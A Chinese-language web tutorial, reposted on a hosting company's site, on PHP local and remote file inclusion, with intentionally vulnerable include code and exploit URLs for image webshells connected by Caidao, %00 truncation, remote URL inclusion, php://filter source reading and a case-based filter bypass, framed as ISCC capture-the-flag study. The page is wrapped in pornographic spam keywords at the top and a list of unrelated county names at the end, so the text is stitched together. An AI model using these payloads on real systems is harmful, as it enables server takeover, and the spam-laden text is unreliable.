内射老阿姨1区2区3区4区_久久精品人人做人人爽电影蜜月_久久国产精品亚洲77777_99精品又大又爽又粗少妇毛片

文件包含漏洞之本地包含和遠(yuǎn)程包含-創(chuàng)新互聯(lián)

文件包含漏洞介紹:

目前創(chuàng)新互聯(lián)建站已為近1000家的企業(yè)提供了網(wǎng)站建設(shè)、域名、雅安服務(wù)器托管、網(wǎng)站托管、企業(yè)網(wǎng)站設(shè)計、措美網(wǎng)站維護(hù)等服務(wù),公司將堅持客戶導(dǎo)向、應(yīng)用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協(xié)力一起成長,共同發(fā)展。

  程序開發(fā)人員一般會把重復(fù)使用的函數(shù)寫到單個文件中,需要使用某個函數(shù)時直接調(diào)用此文件,而無需再次編寫,這中文件調(diào)用的過程一般被稱為文件包含。程序開發(fā)人員一般希望代碼更靈活,所以將被包含的文件設(shè)置為變量,用來進(jìn)行動態(tài)調(diào)用,但正是由于這種靈活性,從而導(dǎo)致客戶端可以調(diào)用一個惡意文件,造成文件包含漏洞。幾乎所有腳本語言都會提供文件包含的功能,但文件包含漏洞在PHP中居多,而在JSP、ASP、ASP.NET程序中卻非常少,甚至沒有,這是有些語言設(shè)計的弊端。在PHP中經(jīng)常出現(xiàn)包含漏洞,但這并不意味這其他語言不存在。

漏洞成因:

  文件包含漏洞的產(chǎn)生原因是在通過引入文件時,引用的文件名,用戶可控,由于傳入的文件名沒有經(jīng)過合理的校驗,或者校驗被繞過,從而操作了預(yù)想之外的文件,就 可能導(dǎo)致意外的文件泄露甚至惡意的代碼注入。當(dāng)被包含的文件在服務(wù)器本地時,就形成的本地文件包含漏洞,被包涵的文件在第三方服務(wù)是,就形成了遠(yuǎn)程文件包 含漏洞。

漏洞危害:

    執(zhí)行惡意代碼、包含惡意文件控制網(wǎng)站、甚至控制網(wǎng)站服務(wù)器等。


本地包含漏洞:

代碼:

<?PHP $file=@$_GET['name']; if($file){ include $file; } ?>

    

以以上這個代碼為例:

訪問:http://127.0.0.1/fileupload/include.php?name=1.txt

  1. txt文件代碼為:

<?php phpinfo(); ?>

我們可以看到txt文件里的內(nèi)容以php文件的方式執(zhí)行了;如下圖所示:

文件包含漏洞之本地包含和遠(yuǎn)程包含

再看,如果訪問:http://127.0.0.1/fileupload/include.php?name=2.jpg

2.jpg是一個圖片的一句話***;

文件包含漏洞之本地包含和遠(yuǎn)程包含

用菜刀可以直接連接,也就是說不管后綴是什么樣,最后都會以php的形式執(zhí)行。


但是有時候會這樣,這個在ISCC國賽中遇到了,就是在最后會自動加入.php,非常煩人。

代碼2:

<?php     Include  $_GET['page'].".php" ?>

執(zhí)行結(jié)果如下圖:

文件包含漏洞之本地包含和遠(yuǎn)程包含

如果訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt

還是報錯。

文件包含漏洞之本地包含和遠(yuǎn)程包含

解決辦法:%00截斷

利用環(huán)境:php版本<5.3magic_quotes_gpc取消的(magic_quotes_gpc = off)

訪問:http://127.0.0.1/fileupload/include2.php?page=1.txt%00

文件包含漏洞之本地包含和遠(yuǎn)程包含


遠(yuǎn)程包含:

  遠(yuǎn)程的文件名不能為php可解析的擴(kuò)展名(php、php5..),而且php.ini中allow_url_fopen和allow_url_include為On才可以。

訪問:http://127.0.0.1/fileupload/include.php?name=http://127.0.0.1/1.txt

文件包含漏洞之本地包含和遠(yuǎn)程包含

如果是遇到這種情況:

文件包含漏洞之本地包含和遠(yuǎn)程包含可以用“?”或者“%00”階段;

http://127.0.0.1/fileupload/include2.php?page=http://127.0.0.1/1.txt?


讀取源碼:php://filter/read=convert.base64-encode/resource=1.txt

http://127.0.0.1/fileupload/include.php?name=php://filter/read=convert.base64-encode/resource=1.txt

讀取出來的是base64編碼的,進(jìn)行解碼就行了。

文件包含漏洞之本地包含和遠(yuǎn)程包含

php://input的用法

php://input

文件包含漏洞之本地包含和遠(yuǎn)程包含

偽協(xié)議繞過大小寫:

<?php          if(isset($_GET['f'])){         if(strpos($_GET['f'],"php") !== False){             die("error...");         }         else{             include($_GET['f'] . '.php');         }     }      ?>

http://127.0.0.1//index.php?f=pHP://filter/read=convert.base64-encode/resource=index

readfile讀取文件,不可以getshell

<?php  @readfile($_GET["file"]); ?>

總結(jié):這些在iscc的國賽賽中出現(xiàn)過,如果當(dāng)時會階段或者會讀取源碼,也就能獲獎了,學(xué)無止境,加油吧。


文件包含漏洞之本地包含和遠(yuǎn)程包含

另外有需要云服務(wù)器可以了解下創(chuàng)新互聯(lián)cdcxhl.cn,海內(nèi)外云服務(wù)器15元起步,三天無理由+7*72小時售后在線,公司持有idc許可證,提供“云服務(wù)器、裸金屬服務(wù)器、高防服務(wù)器、香港服務(wù)器、美國服務(wù)器、虛擬主機(jī)、免備案服務(wù)器”等云主機(jī)租用服務(wù)以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務(wù)可用性高、性價比高”等特點(diǎn)與優(yōu)勢,專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應(yīng)用場景需求。

網(wǎng)站欄目:文件包含漏洞之本地包含和遠(yuǎn)程包含-創(chuàng)新互聯(lián)
文章分享:http://www.rwnh.cn/article16/csoidg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供靜態(tài)網(wǎng)站、外貿(mào)建站品牌網(wǎng)站建設(shè)、微信公眾號、網(wǎng)站營銷、網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

h5響應(yīng)式網(wǎng)站建設(shè)
浦江县| 来宾市| 盐津县| 广饶县| 久治县| 南和县| 南召县| 旺苍县| 教育| 合川市| 且末县| 峨山| 平度市| 大理市| 茌平县| 隆子县| 洪泽县| 双峰县| 大悟县| 江华| 什邡市| 建昌县| 南乐县| 仲巴县| 黄龙县| 瓮安县| 七台河市| 黑山县| 磴口县| 汾西县| 临洮县| 石嘴山市| 铜鼓县| 天柱县| 磐安县| 新野县| 南召县| 永康市| 黄冈市| 涿州市| 温州市|